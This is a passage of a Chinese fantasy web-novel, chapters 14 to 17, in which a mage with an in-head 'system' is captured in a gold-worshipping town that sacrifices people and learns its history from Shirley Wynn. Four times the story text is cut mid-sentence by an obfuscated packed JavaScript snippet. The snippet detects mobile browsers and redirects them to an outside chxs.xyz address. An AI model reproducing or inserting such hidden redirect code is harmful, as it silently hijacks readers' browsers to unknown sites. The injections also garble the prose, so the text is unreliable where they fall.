小男孩歪了歪头,说:“你怎么知道,你也认识瑟恩吗?他爸爸以前没有那么胖的。但是进了歌登镇,很多人都和原来不一样了,只有瑟恩还跟我一起玩……” 系统在他脑内感叹:“啧啧啧,真是人心不足蛇吞象……” 蜃楼没搭理它,只是看着小男孩,用尽量温柔的语气说:“瑟恩生病了,出不了门。小朋友,你叫什么名字,家在哪里?哥哥送你回家去,好吗?” “我叫米迪!家就住在山脚下的小河村里哦!”小男孩回答道,担心地询问蜃楼,“瑟恩生什么病了,真的不能出来了吗?今天是他的生日,我还给他带了礼物……” 蜃楼沉默了一会儿,摸了摸米迪的脑袋,随口胡诌道:“他感冒发烧了。” 他本意让他知难而退,却没想到米迪的眼神反而亮了起来。小男孩摸摸口袋,从里面拿出一个用草编的袋子,雀跃道:“那刚好呀!我给瑟恩带了糖果,发烧吃糖就不会难受了!谢谢你啦大哥哥,这块糖送给你!” 米迪不由分说地塞给他一颗糖,转身往小镇入口跑去。 这种瘦小的男孩子看着没什么劲,跑起来一溜烟就没影了。蜃楼“诶”了一声,没来得及抓住他,眼看着米迪冲了过去,那入口附近金光一闪,下一秒,小孩儿竟硬生生地被弹飞了出去。 他手里的草袋在空中画出一条弧线,从里面掉出几块发黄的糖块,最后轻轻地飘落到了地上。米迪捂住脑袋,茫然地看着小镇的方向,又想起什么,爬起来去找散落的糖果。 另一边,歌登镇的民兵停下交谈,目光齐刷刷地投向了米迪所在的方向。 闹出的动静太大了,他们已经注意到这位不速之客。 蜃楼急忙去敲系统:“有没有催眠术之类的魔法?急。” 系统还没回应他,几个佩剑的民兵已经朝着米迪走了过去。年幼的米迪看到他们全无警惕,真心地请求道:“叔叔,我的糖掉到地上不见了。你们可以帮我一起找吗?不多的,就几颗!” 大人们却没半点搭理他的意思,当着他的面自顾自地交谈起来: “还真来人了!这么小的孩子也能抓吗?” “管他呢!歌登先生只说按人头给金条,可没说按大小给。再小也是一块金……” “不对啊,看这打扮应该是附近村里的小孩,要是他们父母找过来怎么办?” “你傻呀,找过来就一起抓了啊!拿一金送两金,多大的好事!我可不想住集中宿舍了,等拿到金,一定要在镇里买一栋大房子……” 米迪眨着眼睛,显然没听懂他们在谈论什么。只是手里抓着他的草袋,无措地站在民兵中间,轻声说道:“今天、今天是瑟恩的生日……我想把这些糖送给他吃……” 这时,总算是有人听见他说话了。 一个较为强壮的民兵看向米迪,重复了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667331|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍:“瑟恩?哦……你不会是说那个菲特的儿子吧?” 米迪点了点头,眼里浮现出希冀的光芒:“对,对!瑟恩是我的朋友,他是个很好的人!叔叔你也认识他吗?他生病了不能出门,但是如果我能去为他过生日的话,瑟恩一定会很高兴……” 民兵们彼此对视一眼,其中一个较为高大的开口嘲笑道:“哈哈……过生日?为什么要给一个死人过生日?” 米迪颤了一下,表情茫然:“死人?” “是啊!”另一个民兵看热闹不嫌事大,也跟着幸灾乐祸地开口,“小瑟恩死掉咯!因为他爸爸跟镇外的人狼狈为奸,‘黄金少女’惩罚他失去最重要的东西。” “哎哟,不过仔细一想,这也不对吧?”那个强壮的民兵说,“在老菲特眼里,最重要的不是金子吗?黄金少女只带走他的儿子,但他可是把整座店都搬空了!能赚上一笔大钱,又少了累赘,要是没有那个‘诅咒’,分明是笔很划算的买卖嘛。” 大人们你一言我一语地调侃着,没有任何一个人将这条小小生命的逝去放在心上。只有从镇外来的米迪,努力挑着他能听懂的词语理解,磕绊地领会出几人交流的讯息来。 “瑟恩……瑟恩才不是累赘!”他捏了捏拳头,鼓起勇气说道,“瑟恩会捉蜻蜓,会钓小龙虾,还会做首饰……他可厉害了!怎么、怎么可能会——” 怎么可能会死呢? 民兵们大笑着,并不将他的反驳放在心上。 其中还有人吹着口哨,轻浮地调侃:“别担心,叔叔们马上带你去见小瑟恩!你马上就可以给他过生日咯……” 几个人不顾米迪的抵抗,将他装进麻袋里打上结,扛在肩头上。正要前去镇子里交差,忽然发现入口前不知何时多了个英俊的黑发男人。 男人披着一件简陋的斗篷,气质非凡、打扮却朴素得过了头,像是哪家落难的贵族。此刻面色苍白,大约是受了惊,只是看着他们,半晌没有说话。 民兵们互相传递了个眼神,便有人假作亲近地上前,搭住他的肩膀:“兄弟,没见过啊。不是这附近的人吧,打哪儿来的?” 男人顿了一下,虚弱地说:“我,我只是路过,什么都没看见。咳、咳咳咳,不瞒兄弟说,在下家道中落、无父无母,只有这烂命一条。希望看在我孤苦伶仃的份上,千万不要动手……” 装得情到深处,又虚弱地咳嗽几下,至少让他看起来确实像个可怜的短命鬼。 几个民兵对视一眼,心中仅有的那点疑虑在金条的诱惑下很快打消了。他们与他有一搭没一搭地攀谈了两句,最后挥了挥手,让男人赶紧离开——然后趁着他转身的功夫,掏出一个更大的麻袋,将他塞了进去。 *的,真是狗改不了吃@…… 蜃楼抱着膝盖,缩在麻袋里把自己蜷成一团,在心里骂得很不文明。 他刚才因为生气短暂地失去了理智,竟然忘记藏匿身形,只能将计就计让自己被抓住,以免打草惊蛇。 几个民兵的作为固然可恶,可对蜃楼来说,最让他愤懑的却并非这一点。多讽刺,这种人。在致郁游戏里算是合理的人设,可他偏在现实也碰到过不少这样的混账,所以更觉得生气。 本该做些准备再潜入的,蜃楼现在只有身上披着的斗篷画了传送阵,已经是最后一张。 没办法,实在忍不了一点。 系统在他耳边嘀咕:“我还以为你会偷偷溜进去。这样会不会更容易暴露啊?大魔法师。” “都大魔法师了,暴露就暴露吧。”蜃楼撇了撇嘴,不以为意地说,“反正今天不教训这帮家伙我就把名字倒过来写……” 15. 第 15 章 “晚上好,蜃……哦不,楼蜃大人。” 数小时后,蜃楼盘腿坐在地上,面色凝重。 而系统在他脑海里幸灾乐祸地开口:“天都黑了,为什么还不动手呢?是有什么心事吗?” …… 蜃楼完全不想搭理它。 或许是因为他多少也算个健全的成年男人,只是脸色苍白了一些。那些民兵在把他丢到这里之后,又用手腕粗的麻绳绑上了他的手,连脚也上了镣铐;反观其他人,就没有这样豪华的待遇了。 在这间石砌的、密闭的房间里,除去蜃楼和米迪以外,还有几人。 单从外表上看,他们无一不消沉邋遢,眼下青黑严重,口中又喃喃念着些什么“金子”、“出主价”的,行尸走肉一般,看着瘆人得很。 米迪被吓得不轻,害怕地往他的斗篷里钻。 蜃楼忙于思考,没空安慰他,干脆随他去了。 想想也是。歌登镇这样的情况,正常人哪会主动跑来呢?只有穷途末路、贪得无厌之人,做着靠所谓“主价”咸鱼翻身的春秋大梦,才愿意跑到这种蹊跷的地方。某种程度上说,也算是“物以类聚”了。 蜃楼没有出手,因为他们现在所处的房间依然在小镇内部。要找到矿洞还得靠本地人指引,他现在已经完全冷静下来了,担心贸然动手会打草惊蛇。 他在来的路上偷听了那几个嘴碎的民兵聊天。这才知道,原来明面上所谓“再塑节”,是小镇数年一度,向黄金少女“祈佑”财富的日子。 在此期间,镇民需要向祂献上祭品,以表诚心。祭品的价值全由主观衡量,其“主价”愈高,黄金少女的力量便越强大,也更能护佑歌登镇的镇民财源滚滚、健康平安…… 健康平安?蜃楼回忆起菲特和雪芮的样子,并不觉得这护佑有多靠谱。 姑且随机应变吧。蜃楼想,反正实在不行,他还能摘下披风用上面的传送阵脱身…… 想到这里,他忽然感觉颈后传来没来由的凉意。一阵不知从哪儿来的风吹过,蜃楼一摸肩膀,发现他挂在身上的斗篷竟然不见踪影——而之前钻进他斗篷里的米迪,也突兀地消失在了这间密室里。 系统顿了一下,惊奇地说:“这孩子竟然误打误撞启动传送阵了!” 蜃楼瞪大眼睛,不敢置信地转身去看。果然,不论是他最后一块黑色的斗篷、还是瑟瑟发抖的米迪,此刻全都不见了踪影——唯一万幸的是,这一切在无声中发生,并没有让他人注意到这里。负责看守他们的民兵依然在门外聊天吹水;而与他关押在同一个房间内的其余几人,也仍保持着喃喃自语的诡异状态。 “他不是魔法师,也能启动传送阵吗?”蜃楼纳闷地说,“这下不好办了……” 情况越紧迫,现场手搓传送阵的风险就越大。便携式传送阵最大的优点就是即发即用,毕竟蜃楼行事主打一个低调隐秘、捅完篓子就跑;而在他逃跑的过程中,是决不可能突然蹲下来开始心平气和地画传送阵的。 系统说:“哈哈,其实你变出来的窗帘布本身就是由海量魔力构成的,算是一种后备能源了。再加上那孩子自己有天赋,启动上面的传送阵也就是用火柴点燃一堆柴火的过程……怎么样,魔法,很神奇吧?” “哦哦。太神奇了。”蜃楼敷衍地回应它,“这么重要的事现在才说?” 他一直以为变出来的窗帘就只是普通的窗帘而已……还专门给季诺留了一张做毯子呢。 系统尴尬地打了个哈哈:“你也没问我嘛不是……” 蜃楼叹了口气,感觉头痛。想捏捏眉心,又想起来手还被绑着举不了那么高……于是更头痛了。 算了,往好处想,至少不用再顾忌小孩了。 他将脑袋倚在墙上,盘算着目前为止能运用的法术,试图琢磨出一个尽量不引人注意的PlanB出来—— 这时,紧闭的房门却忽然被人打开。 一位不速之客闯了进来,蜃楼抬头望去,看见一个金发碧眼的女人抱臂站在门前,正是雪莉·怀恩。 她显然是精心打扮过了,身上的装束和之前不太一样。穿了件白色的羊腿袖丝质长裙,蓝色束腰上绣着暗色的金线,一眼望去便让人觉得气质非凡。 雪莉的目光扫过房间里的众人,在他身上短暂地停顿了一下。 “雪莉小姐……”看守的民兵讨好地凑到她身边,“您看,这些人怎么样?足够当这次的祭品了吗?” 雪莉皱起眉头,挑剔地说:“大半天功夫,才带来这么些人?而且那边几个,不是前不久才从镇子里出去的吗?” 她意指那些行尸走肉般的家伙,这倒让蜃楼忽然明白过来。难怪米迪说来过这里的人最后都变得很奇怪,光看那副样子,确实不像什么正常人。 “大小姐,‘再塑节’的规矩,附近的人都知道,不会轻易接近小镇的。”民兵悻悻地说,“只有这些人一直在附近游荡……但是我们也抓了没来过的呀,你看!” 他伸手指向蜃楼,忽然想起什么,挠着头走进房间里转悠:“奇怪了,应该有两个人啊?还有个小的呢,明明刚刚还在的……” 算了,姑且试一下新魔法吧。 蜃楼闭上眼睛,又缓慢地睁开。在镇外时他向系统问来的催眠术,那时没用上,现在倒派上了同样的用场。 他在心中过了一遍流程,抬眼看向民兵,定定地开口说道:“你记错了。你只抓了我一个人。” 他的声音不重,却仿佛蕴含一股别样的魔力,字字敲打在听者的心上。民兵的表情先是一滞,而后转为茫然、困惑,最后恍然大悟地回头,转向雪莉,讪笑道:“不好意思啊大小姐,我记错了。只抓了这个男的……” 雪莉回过神来,看了坐在角落的蜃楼一眼,同样露出恍惚的表情。 真这么好用啊? 见二人没有丝毫怀疑的样子,蜃楼却不觉得庆幸,反而心情复杂起来。 前不久,在发现他连“魔力流动”的概念都不理解之后,系统给他做了个紧急扫盲。 蜃楼现在明白了。在这个世界释放的所有魔法,都需要三种要素,缺一不可:能源、媒介、对象。 能源对应魔力,媒介代表魔力所依附的介质,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14681024|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象则表示魔法作用的对象。多数魔法师以魔法阵、或是特制的法器作为媒介;而其中又有极少数强大的人,能够做到将魔力蕴藏在声音中发出。也就是,摒弃法器、或是舍去绘制法阵的过程,直接以“声音”为媒介,将魔法通过特定的咒语释放出来。 蜃楼顺势问过系统直接释放传送阵的咒语,结果发现那合起来几乎是能够填满五十页a4纸的内容量,背下来是不可能的,他只能放弃。 但“催眠术”不一样。系统坚称这是高端的“诱导式心灵魔法”,才不是什么“催眠”。实际效果大同小异,其咒语便是施术者充满诱导性的话语本身,蜃楼依然用催眠术来称呼它。 这项魔法,恰好揭示第四号BE里,蜃楼作为曾经软禁过希娅一年的关联者,是如何做到悄无声息地脱身的—— 他啊,只要张口说一句话,就能改变对方的记忆了。 要置身事外,可不简单? 只是这未免也太犯规了。 比起希娅,蜃楼更像是这个游戏的主角…… 现在的蜃楼如是怀疑道。尽管他是这项非凡能力的受益者,但使用这种强大魔法的次数多了,总有一股说不清的怪异盘旋在心头。就好像,他离那个狂妄变态的“蜃楼”,越来越近了—— “这个男人的身份,你们调查过了吗?”雪莉的声音突然响起来。 蜃楼从纷乱的思绪中回过神来,抬眼望向二人。 民兵停顿了一下,打着哈哈说:“……都、都打听过了!他是落难的贵族嘛,家里人都因为战乱死光了,只剩他自己,穷得叮当响了。这才找到咱们这来,哈哈……喂,小白脸,你说是不是?” 还编得挺像回事……蜃楼撇过头去,没搭理他。民兵不知道雪莉早就见过他了,不论他配不配合,都不一定能打消雪莉的怀疑。诚然,他可以催眠她相信民兵的说法,但蜃楼不想这样做——他总觉得雪莉的态度有些蹊跷。 果然,见蜃楼一声不吭,雪莉眉尾微抬,漂亮的眼睛里浮现出愠怒的颜色来。她提起裙子,踢开铺在地上的茅草,走到蜃楼身前,又回过身去,对民兵说道:“把其他人带去议事厅,歌登先生已经在那里等待了。今年的‘再塑节’不能出差错,这个人的情况就由我来审问。” 民兵看了看蜃楼,又看了看雪莉,犹豫地说:“可是,小姐,这毕竟是个男人。万一出了什么意外,歌登先生他……” 雪莉笑了:“你是觉得我一路走来全凭歌登,自己没那个能耐是吗?” 民兵被她的气势吓得一哆嗦,赶忙摇头,也不敢多说什么,捆起其余几人便匆匆离开了。 石室内转眼间只剩下雪莉与蜃楼二人。而在确认民兵走远之后,雪莉深吸一口气,小心地关上了房门。 当她再转过身的时候,身上那股跋扈、嚣张的气焰荡然无存。 雪莉交握住双手,期待地望向他,扶着裙子跪坐下来。她深吸一口气,展现出少女叩仰神明般的姿态,语气是前所未有的兴奋: “您……您是魔法师协会的人,对不对?” “你们收到我的信了!” 16. 第 16 章 面对雪莉闪闪发光的眼神,蜃楼张了张嘴,终究还是没把那句“魔法师协会又是什么东西”问出口来。 他挪开视线,僵硬地点了两下头。 不是不擅长撒谎,是不擅长对感情真挚的人撒谎。虽然能猜想出雪莉不像她表现出来的那样跋扈,但这样大的反差还是让蜃楼吃了一惊。所以反推起来,她那时在商店里对他下达逐客令,果然也是出于好心吗? 系统在他脑内适时地补充设定:“魔法师协会最初是由大贤者创立,用以维护魔法师的权利、规范其行为的组织。在魔法师遍地走的年代还是很有名的,现在嘛……已经跟都市传说差不多了。” “所以,处理‘黄金少女’这样的禁术,也在魔法师协会的职责范围内吗?”蜃楼敏锐地抓住重点,“雪莉写信,是为了向他们揭露歌登镇的反常?” “恐怕是这样。”系统感慨地说,“看来这个镇子里还是有正常人的,这就是人们常说的‘出淤泥而不染’吧。” 蜃楼沉思片刻,却抛出一个突兀的问题:“这个‘魔法师协会’,一直都是真实存在的吧?” 系统顿了顿,说:“是的。” 然而蜃楼看向兴奋的雪莉,她正试图解开蜃楼手上的绳索。只是因为太过激动、手指止不住发颤,动作有些不得要领。 “我……我给你们写了三年的信。”雪莉吸着鼻子,颤声说道,“还以为不会有人来了……还以为这个世界上已经没有其他魔法师了……” 她说着说着,眼尾发红,眼眶里开始蓄起晶莹的泪水。多年来积攒的委屈仿佛终于找到出口,化成透明的泪液从她点过妆粉的眼角滑落下来。 “抱歉,明明知道这样是不对的,但是……”她艰难地解开捆绑蜃楼的绳索,低声抽噎道,“这些年里,妹妹不见了,爸爸也死了,我只剩下雪芮了……他们叫我不要回来,可我不相信!我是想回来了结这一切的,结果最后连弟弟也……” 凡事都有两面性,就连“只有魔法师才能摧毁魔法师设下的法阵”这样的客观真理,亦不能摆脱这样的法则。在达木兰宫时,蜃楼借它将了希恩一军;在这里,则成为让这座小镇陷入囹圄的诅咒。 令人遗憾的是,这个“魔法师协会”显然没有插手歌登镇的事件,甚至连蜃楼自己都差点将这个地方忽略过去。他回到这里,只是想寻找一个答案而已;结果答案尚未找到,反倒牵扯出更多的麻烦…… 论心,他的确无法坦然地面对雪莉;但要论迹,现在的蜃楼已经没有退路,也不差再伸手帮她一把。 蜃楼叹了口气,安抚她的情绪:“你先冷静一下,告诉我歌登镇这些年来发生的事情。我再想办法帮你,好吗?” 雪莉抽泣着点头,却没忘记从腰间取下一把小小的钥匙,将蜃楼的脚镣打开。 她擦掉眼角的泪水,缓慢地同蜃楼讲起“歌登镇”的故事。 * 在很久以前,这里没有黄金,只有大片覆盖着白色砾石的土地。 因为小镇坐落于山腰,于是便被往来的人们称为“白腰镇”。 砾石地不适合种植果蔬,却是“赤霞珠”葡萄最好的温床。怀恩家族在这里拥有一大片种植园,从种植葡萄到生产葡萄酒,已经发展出成熟的产业。镇上的百姓大多从事相关的工作,日子虽说算不上极其富有,但充实幸福,已经胜过大半格拉斯的平民了。 直到弗洛瓦向格拉斯宣战,王室为了募集军费,开始提高税率,加征所谓的“人头税”,这让小镇中一部分本就不富裕的家庭雪上加霜。 幸而接管这里的怀恩男爵心地善良,愿意掏出自己的收入贴补镇民;也恰因如此,尽管处于战争时期,大家的生活虽说难了点,但勉强还算过得去。 真正的变数发生在不久之后。 怀恩男爵参军远征,其夫人早年因难产去世。这时,怀恩家族偌大的庄园内,只剩下一个老管家,和雪莉、雪芮、雪柔三个孩子了。 然而,不知从何时开始,白腰镇内开始流传一个谣言:格拉斯就快守不住了。怀恩男爵自身难保,说是参战,其实是丢下他的孩子跑了…… 起初,大家感念男爵接济百姓的善举,不相信这样的传言。可随着时间过去,烧杀抢掠的弗洛瓦士兵来了一批又一批;白腰镇的青年壮丁所剩无几,百姓任人鱼肉,怀恩男爵依旧没有半点消息。只有谣言日复一日地传播在枯败的田垄间、残破的市场里、燃烧的战火下。 最终,它成为了百姓深信不疑的现实。 白腰镇有一位矿工,名叫“歌登”。在战争开始之前,他是负责开采、搬运煤矿的工人。后来大战一触即发,歌登被困在矿洞中数日,大家都以为他死了;可就在怀恩男爵的谣言成为现实、百姓群情激愤的时候,歌登竟奇迹般地走出矿洞,孤身一人回到了小镇。 曾经在大家眼里只是个老实人的歌登,经此一难,性情大变,竟成了众人中最为愤世嫉俗的领头羊。他大喊着“清算逃兵”的口号,带着愤怒的百姓们冲进怀恩的庄园,用大火焚毁了种植园里长势茂盛的“赤霞珠”;又撬开紧闭的门锁,冲进男爵的宅邸里掠夺财物。 试图阻拦他们的老管家被当做维护男爵的帮凶,当场打死了;善良的妹妹雪柔,因为心软为一位小乞丐打开房门,也被掳走;于是怀恩家幸存下来的,只剩下躲在橱柜中的雪莉、雪芮二人了。 雪莉是个有主见的女孩,当即想办法联系到了怀恩家的远房亲戚。她准备带着雪芮逃离白腰镇,可就在这个时候,怀恩男爵带着一身伤病,姗姗来迟—— 他没有逃亡、更没有战死,还因为誓死不降,受到了弗洛瓦将军的赞赏,破例放他回到了格拉斯。 这已经是不幸中的万幸。 男爵费劲千辛万苦回到镇上,见到的却是已经成为灰烬的种植园和他残破不堪的宅邸。但他并未沉湎于悲痛,而是安葬了老管家,又花了些功夫,飞快地平息了白腰镇的骚乱。然而小女儿雪柔依旧下落不明,雪芮受了惊,个性也变得古怪。雪莉对这个镇子心灰意冷,最终还是离开了。 一个完整的家庭变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14695031|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得支离破碎,只剩下雪芮留在这里,继续陪伴男爵找寻雪柔的下落…… “等等。”听到这里,蜃楼忍不住出声打断雪莉,“那歌登呢?他带头闯的庄园,还杀人放火,男爵没有将他绳之以法吗?” 可雪莉只是看着他,过了一会儿,才轻声地说:“是该惩罚他的。可是四年前,他在山下挖出了金矿。” 当时的格拉斯尚未亡国,男爵特向王室递请卷宗。倒不是希望血债血偿,他只求不顾及他男爵身份、绝对公正的评判——某种程度上说,事实也如他所愿了。 歌登挖出金矿的消息和杀人放火案的卷宗同时送到格拉斯王室面前,高高在上的国王的确做出了“绝对公正”的评判: 他以“将功补过”的名义,收走了歌登上贡的金矿,赦免了他在怀恩庄园犯下的罪行。 当然,只是赦免了歌登一个人而已。绝对公正嘛,那些跟着他闯入庄园的平民又没有挖出金矿,都被吊死在市场前“以儆效尤”了。 可是这种时候,又能“儆”谁呢? 怀恩家赖以生存的“赤霞珠”都被大火烧尽了。仅靠微薄的封地收入,倒是勉强能养活男爵和雪芮,只是接济百姓这样的事情,做不到了。 于是,那些贫穷的百姓们,便转而投向歌登的阵营。歌登在挖出金矿后,因其特殊的性质,获得了非同一般的地位和财富。他拿出大量的金钱,提出“主价”的概念,为镇上贫苦的家庭提供改变人生的机会;还供奉起了黄金打造的少女神像,向他们推崇“黄金少女”的福音。 而男爵忙于在各地搜寻女儿雪柔的下落,没能即时掐灭这古怪信仰的苗头。当他一无所获、垂头丧气地回到白腰镇时,这里已经易名为“歌登镇”,处处都是“黄金少女”的痕迹了。 在小镇的议事厅中,本由男爵所坐的主位,也彻底被歌登占领—— 他趁虚而入,终于取代了怀恩男爵在白腰镇中的位置。 可气的是,格拉斯王室对此竟然毫无反应。男爵向他们去过无数封信,可直到王室人头落地,所谓“格拉斯”,最终成为弗洛瓦分封给战勋们的赏地,一切依然毫无变化。 失去家人、失去国家、又在百姓间失去威信的怀恩男爵,最终郁郁而亡,只剩下雪芮·怀恩一人守着怀恩家空荡荡的宅邸。 不久后,在外的雪莉收到怀恩男爵寄出的绝笔信,大意是告诫她歌登的金矿有蹊跷,镇里失踪的人越来越多,既然离开了小镇,就决不要再回到那里去了。可雪莉偏不信邪,又独自跑回去,抱着救出弟弟、找到妹妹的希望…… “我低估了歌登的手段,也高估了自己的能力。” 说了这么多,雪莉的情绪已经慢慢平复下来。她脸上漂亮的妆容有些花了,此刻看着地面,手指纠缠在一起,低声说道: “为了接近真相,我做了很多坏事,也害死过无辜的人……” “但是,魔法师先生,我愿意承担起这一切罪恶的责任。” “只求你救救我的弟弟……救救这座小镇……” 17. 第 17 章 蜃楼很少将情绪外放出来。即便此刻雪莉在他眼前真情流露,他面上也依然没什么表情,只是低头活动着手腕,不知在想些什么。 系统忍不住问他:“听了这么长一个故事,你就没有什么看法吗?” 蜃楼想了想,回答道:“歌登被困在矿洞里的那段时间,肯定发生了非同寻常的事情。” 说不定就是在那时候与真正的罪魁祸首搭上线的。 能创造出“黄金少女”这样的邪物,对方的身份必然是魔法师无疑,问题是他的动机。将歌登镇变成这副样子,对一个强大的魔法师来说,能有什么好处呢? 金钱?欲望?还是运筹帷幄的快感? 蜃楼想不明白。 他在这个世界没有熟悉的“同行”,也不知道魔法师们脑袋里到底在想什么东西。但从钟灵的角度来看,如果她拥有蜃楼这样的力量,别说赚钱上学打工了,直接环游世界去。四海为家玩个痛快,谁都别想困住她。 所谓权势物欲,到底是束缚普通人的框架。 既然拥有造“神”的力量,还会因为那样浅显的理由,对这个镇子下手吗? “抱歉,白天在商店见面的时候,我还以为您是误闯进来的平民,所以才赶您出去……” 现在,雪莉跪坐在他身前,小心翼翼地开口:“我,我没有破坏您的计划吧?魔法师先生,您接下来有什么打算,需要我帮忙吗?” 哪有什么计划,他那时候都不知道这镇子有这么多问题…… 蜃楼无奈地想,然而对上雪莉充满希望的视线,还是将实话吞了下去,转而问道:“我还有一个问题。你之前说的‘再塑节’,到底是干什么的?” “为了维持‘黄金少女’的能量,镇民需要定期向祂献上某人心中最珍贵的祭品,这就是‘再塑节’。”雪莉顿了一下,垂下眼眸,轻声说道,“第一年的‘再塑’我没有回来,再后来就是今年。今年的祭品是雪芮,他的身体越来越差,歌登说,与其等他病死,不如给他一个发挥价值的机会……” 雪莉语意未尽,蜃楼却已经能猜想到歌登的打算。 他在今年选择雪芮,无非两种考量:第一,雪芮是雪莉唯一的亲人,在她眼中无可比拟,确说得上“最珍贵的祭品”。第二,雪莉与他的婚约已经确定,只要送走雪芮·怀恩,歌登镇就能切断与怀恩家族最后的联系,彻底易主,成为真正的“歌登镇”。 换个更确切的说法吧。这应该叫,“吃绝户”。 蜃楼嗤了一声,站起身来。 还真是混蛋人做混蛋事混蛋到家了…… 好在知道了前因后果,那这事就不难办。按照系统提供的理论,“黄金少女”能脱离魔法师操控运行,其背后必定存在一套完整的魔法阵体系。而他要做的,就是找出这些魔法阵,逐一摧毁它们,将歌登镇的故事画上句号。 想到这里,他问雪莉:“你在镇子里有见过什么魔法阵吗?” 雪莉回答道:“镇上的议事厅就有一个。需要鉴定、衡量的时候,‘黄金少女’就会从墙上的魔法阵中显形。不过那边现在有很多人,可能不太方便……” 哦,蜃楼动作一顿,回想起他在神殿中看投影时的情形。那时候,歌登好像就说过晚上有个什么宴会,会有弗洛瓦的人过来……等等。弗洛瓦的人? 他下意识捻了捻自己的头发,随后捡起地上的麻绳,对雪莉说:“还是把我捆起来吧。” 雪莉瞪大眼睛,不解地看着他:“可是,那里很危险……” “危险吗?”蜃楼突然笑起来,“说不定我才是最危险的那个。” 那笑当然不可能是开心的,反而是有些自嘲意味的、无可奈何的笑。 染成黑发之后,蜃楼本身圣洁的气质被压抑下去,属于钟灵的那股阴郁、懒散的气场占据上风,与游戏中的形象已经完全背道而驰。但依然不妨碍他此刻无意插柳、“恃靓行凶”,毕竟顶着这样的脸,即便蜃楼毫无自觉,也不能阻止他人因此萌生出额外的好感来。 雪莉怔了一会儿,脸颊变得滚烫起来。她接过蜃楼手中的绳子,胡乱缠在他手腕上,打成一个结实的死结,然后磕磕绊绊地说:“那、那我带您过去——就是,弗洛瓦的男爵也在那里,请、请您务必谨慎一些!万一闹得动静太大,惊动弗洛瓦皇室,对您来说也会很麻烦的……” 其实真要算起来,蜃楼已经“惊动”过两回弗洛瓦皇室了,不差这一次。但希娅毕竟是要回去的,他不能将事情做到难以转圜的地步,还是要低调行事。 只是有些好奇。 这节骨眼上,怎么会有弗洛瓦的男爵来凑热闹? * 夜幕渐深,宁静的神殿废墟内,突兀地响起一声凄厉的哀嚎。 “瑟恩,呜呜,瑟恩!我的儿子啊——” 菲特跪坐在地上,双手捶地,哭得几乎喘不过气来。 季诺站在一边,惊慌地将他身上滑落的毯子披回菲特的身上。那是蜃楼给他的“窗帘布”,现在暂时用来照顾身体和心理都十分受伤的菲特。 然而,本来能将季诺结结实实裹起来的毯子放到菲特身上,竟然变成又小又薄的一片。惊得季诺在接连确认过几遍不是毯子缩水的问题之后,默默将它盖在了菲特后背从裤缝中卡出的肉堆上。 “先生……我知道失去孩子让您很伤心,但是……”季诺拍着菲特的后背,瞥了仍躺在床上的希娅一眼,为难地说,“但是,如果您儿子还在的话,一定也不想看见您这样难过的。” 话音刚落,从地上的杂物堆里飞出一只雪白的鹦鹉。 鹦鹉一边喊着:“爸爸!救命!”一边在空中来回飞旋,直到在墙边找到菲特的身影,才俯冲下去,在男人的肩头上停驻下来,用红色的鸟喙啄了啄他的头发。 菲特似有所觉,抬起头来,终于看见这只鹦鹉。他没理会季诺,而是将鹦鹉抱进怀里,涕泪横流地说:“馒头,你哥哥没了……都、都怪爸爸不争气,我留着这条贱命还有什么用啊……” 那条毯子随着他的动作掉到地上。一人一鸟相拥而泣,完全沉浸在自己的世界中。 季诺拾起毯子站在一边,神色担忧。 蜃楼已经出去很久了,现在还没有消息。他不知道究竟发生了什么,只从菲特零散的话语里管中窥豹:这个叫菲特的人失去了自己的儿子,而温柔的蜃楼将他救了回来,嗯,可能是怕他一个人孤单,还把他养的鹦鹉也带来了…… 不过,这附近,原来有这样害人性命的的地方吗? 神殿的彩绘玻璃窗碎了一半,季诺从它残破的漏洞中看见窗外的远山。这里曾经是格拉斯的边界,现在是弗洛瓦的领土。他应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711340|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该算是“回家”了,只可惜季诺在弗洛瓦待的时间比格拉斯要长得多,并不能体会到多少怀念的情绪。 